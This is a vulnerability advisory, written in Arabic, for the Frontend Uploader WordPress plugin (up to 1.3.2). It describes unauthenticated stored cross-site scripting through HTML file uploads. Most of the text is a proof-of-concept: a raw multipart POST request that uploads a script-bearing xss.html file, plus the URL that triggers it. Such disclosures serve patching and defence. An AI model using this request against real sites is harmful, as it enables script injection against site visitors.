
لا يمنع الإضافة تحميل ملفات HTML عبر نموذجها، مما يسمح لمستخدم غير مصادق بتحميل ملف HTML ضار يحتوي على JavaScript على سبيل المثال، والذي سيتم تشغيله عند وصول شخص ما إلى الملف مباشرةً.
Frontend Uploader <= 1.3.2 - ثغرة تخزين نصوص برمجية عبر المواقع بدون مصادقة
الملحق لا يمنع رفع ملفات HTML عبر النموذج، مما يسمح لمستخدم غير مصادق عليه برفع ملف HTML ضار يحتوي على جافا سكريبت مثلاً، والذي سيتم تشغيله عند وصول أي شخص إلى الملف مباشرةً.
في صفحة/منشور يتم فيه تضمين الرمز المختصر [fu-upload-form]، ما عليك سوى رفع ملف HTML عبر النموذج المُنشأ.
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"
1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html
<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"
upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"
image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"
021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"
1247
-----------------------------124662954015823207281179831654--
Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html